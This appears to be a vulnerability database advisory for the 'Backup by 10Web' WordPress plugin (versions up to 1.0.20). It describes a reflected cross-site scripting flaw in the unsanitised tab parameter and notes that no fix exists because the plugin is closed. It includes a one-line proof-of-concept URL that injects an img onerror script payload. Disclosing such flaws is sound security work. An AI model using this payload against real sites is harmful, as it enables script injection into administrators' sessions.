WordPress Plugin Vulnerabilities
Backup by 10Web <= 1.0.20 - Reflected Cross-Site Scripting (XSS)
Description
The plugin does not sanitise or escape the tab parameter before outputting it back in the page, leading to a reflected Cross-Site Scripting issue
Proof of Concept
http://example.com/wp-admin/admin.php?page=buwd_restore&tab=general%22%3E%3Cimg%20src=x%20onerror=alert(document.domain);%20m0ze
Affects Plugins
No known fix - plugin closed
References
Classification
Miscellaneous
Original Researcher
m0ze
Submitter
m0ze
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2021-06-16 (about 1 years ago)
Added
2021-06-16 (about 1 years ago)
Last Updated
2021-06-25 (about 1 years ago)